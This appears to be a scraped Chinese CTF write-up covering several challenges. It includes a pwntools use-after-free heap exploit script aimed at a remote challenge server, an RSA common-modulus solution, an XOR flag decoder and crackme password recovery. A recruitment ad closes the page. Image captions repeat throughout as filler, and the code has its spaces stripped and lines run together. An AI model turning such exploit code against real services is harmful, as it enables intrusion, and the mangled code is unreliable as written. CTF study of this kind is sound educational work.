ctf简单的逆向题如何处理 (ctf逆向该如何学习)

ctf逆向题解题技巧,ctf实战题解题技巧

首先在sub_400896()函数中,可以知道flag文件在服务器根目录下,我们在本地调试的时候可以在自己的根目录下建一个flag便可以跳过这里的if判断。

哦哦,还知道了程序在运行的flag被输入到了0x6020A8处。

漏洞点在Delete即sub_400C24()函数中,看红框框部分。

它在free后并没有将指针置为0,即free后我们还是可以对指针指向的内容进行操作。

ctf逆向题解题技巧,ctf实战题解题技巧

所以

整体思路就是我们通过一系列的malloc和free并利用UAF漏洞将flag所在地址给填入到banana结构体的ba指针地址处或者na指针所在的地址处。

然后最后给View出来。

首先建立两个banana,0和1,

ctf逆向题解题技巧,ctf实战题解题技巧

然后将它们free掉即放入bins中

ctf逆向题解题技巧,ctf实战题解题技巧

然后我们再申请一个banana,看下create'banana的代码(下面的图)吧。里面有着3个malloc函数,重点看前两个就足够了。

它首先是malloc(0x10)的chunk去存放ba的指针和na的指针,所以当第一个malloc执行后,申请到的chunk就是0x19002c0处的chunk。

然后看第二个malloc,这个是申请ba的,我们将nbytes设为0x10即就申请到了0x20bins中的0x1900240处的chunk了,即ba指针就是0x1900240处chunk了,我们向其(0x1900250)写入flag地址0x6020A8,因为UAF漏洞,我们仍然可以通过view,将banana0的ba指针指向的内容给输出出来,此时就指向flag地址,便输出flag了!

ctf逆向题解题技巧,ctf实战题解题技巧

ctf逆向题解题技巧,ctf实战题解题技巧

Payload
coding=utf8
frompwnimport*
context_log_level="debug"
io=process("./excited")
io=remote('123.56.85.29',6484)
defadd(len1,content1,len2,content2):
io.sendlineafter("Nowpleasetellmewhatyouwanttodo:","1")io.sendlineafter("ba'slength:",str(len1))io.sendlineafter("ba:",content1)
io.sendlineafter("na'slength:",str(len2))io.sendlineafter("na:",content2)

defdelete(ID):
io.sendlineafter(">Nowpleasetellmewhatyouwanttodo:","3")io.sendlineafter('>BananaID:',str(ID))

defview(ID):
io.sendlineafter(">Nowpleasetellmewhatyouwanttodo:","4")io.sendlineafter(">BananaID:>SCPprojectID:",str(ID))

flag_addr=0x6020A8

#gdb.attach(io)
#add(32,"a",32,"b")#0#1
#add(32,"a",32,"b")

#********************************************************************io.sendlineafter("Nowpleasetellmewhatyouwanttodo:","1")io.sendlineafter("ba'slength:","32")
io.sendlineafter("ba:","a")
io.sendlineafter("na'slength:","32")
io.sendlineafter("na:","b")

io.sendlineafter("Nowpleasetellmewhatyouwanttodo:","1")io.sendlineafter("ba'slength:","32")
io.sendlineafter("ba:","a")
io.sendlineafter("na'slength:","32")
io.sendlineafter("na:","b")
#********************************************************************

io.sendlineafter(">Nowpleasetellmewhatyouwanttodo:","3")io.sendlineafter('>BananaID:',"0")
io.sendlineafter(">Nowpleasetellmewhatyouwanttodo:","3")io.sendlineafter('>BananaID:',"1")
#delete(0)
#delete(1)
add(0x10,p64(0x00000000006020A8)+p64(0x00000000006020A8),0x20,"b")
#gdb.attach(io)
view(0)
#address=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
io.interactive()

EasyRSA

https://www.cnblogs.com/gwind/p/8013154.html
e1=1804229351
e2=17249876309
找到e1*s1+e2*s2=1的数(s1和s2一号)
s1=-49585666
s2=30337985
m=c1^s1*c2^s2modN

而在数论模运算中,要求一个数的负数次幂,与常规方法并不一样。

比如此处要求c2的s2次幂,就要先计算c2的模反元素c2r,然后求c2r的-s2次幂

ctf逆向题解题技巧,ctf实战题解题技巧

Payload

ctf逆向题解题技巧,ctf实战题解题技巧

这个脚本有点问题在m2s(m)这块然后先去掉m2s用python2.7跑出来的值用python3去m2s出来flag{WuHanJiaYou!!!!!!}

i春秋公益赛

有趣的安装包

https://www.52pojie.cn/thread-465934-1-1.html 献上我吾爱破解的大链接

用7z来打开安装包

ctf逆向题解题技巧,ctf实战题解题技巧

看到了nsi文件

ctf逆向题解题技巧,ctf实战题解题技巧

这里的flag进行了比较以及一个异或的比较脚本:

ctf逆向题解题技巧,ctf实战题解题技巧

#include<stdio.h>
#include<iostream>
usingnamespacestd;
intmain(){
stringa="gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|";for(inti=0;a[i];i++){
a[i]=a[i]^1;
}
cout<<a<<endl;
}
//flag{e696a6cc-f63e-!483c-!9af0-bf87902d9eaa}

吃鸡神器

https://www.52pojie.cn/thread-497018-1-1.html Qt的题

进去之后,

ctf逆向题解题技巧,ctf实战题解题技巧

交叉引用,发现了关键的函数的地方

4010b0把八位密码放寄存器里,402090根据用户名算出来一个password402150:

ctf逆向题解题技巧,ctf实战题解题技巧

v11是个寄存器,od端过去就好了eax是那个函数的返回值

ctf逆向题解题技巧,ctf实战题解题技巧

这里是加密的地方,根据我们写的用户名进行一个加密

ctf逆向题解题技巧,ctf实战题解题技巧

在402090下端,可以看到输入的密码压入了eax

ctf逆向题解题技巧,ctf实战题解题技巧

进行了比较edi与eax密码就是41d26f00

ctf逆向题解题技巧,ctf实战题解题技巧

veryeasyre

打开ida后

ctf逆向题解题技巧,ctf实战题解题技巧

ctf逆向题解题技巧,ctf实战题解题技巧

看到了8199的判断可以推测这是一个数独,在内存中找一下

ctf逆向题解题技巧,ctf实战题解题技巧

可以看到数独的数据,我们上网了解一下

ctf逆向题解题技巧,ctf实战题解题技巧

可以得到key:28163746738936845178453226739434617961829429853594162

ctf逆向题解题技巧,ctf实战题解题技巧

这里有个异或运算

ctf逆向题解题技巧,ctf实战题解题技巧

题目提示了zuc,建议看一下谷歌文献,大概知道了这个是ZUCIEEA

ctf逆向题解题技巧,ctf实战题解题技巧

主要参数,网上找个脚本就可以跑出,zuc的加密就是解密的脚本

ctf逆向题解题技巧,ctf实战题解题技巧

42

ctf逆向题解题技巧,ctf实战题解题技巧

ctf逆向题解题技巧,ctf实战题解题技巧

看到42有点像红帽杯的那个方程组,看了下果断

ctf逆向题解题技巧,ctf实战题解题技巧

ctf逆向题解题技巧,ctf实战题解题技巧

从月薪3000到年薪35W,一个网络安全行业的职场逆袭故事。想入行,可以私信我,发“入行”两个字拿学习资料。#小白入行网络安全# #安界网人才培养计划#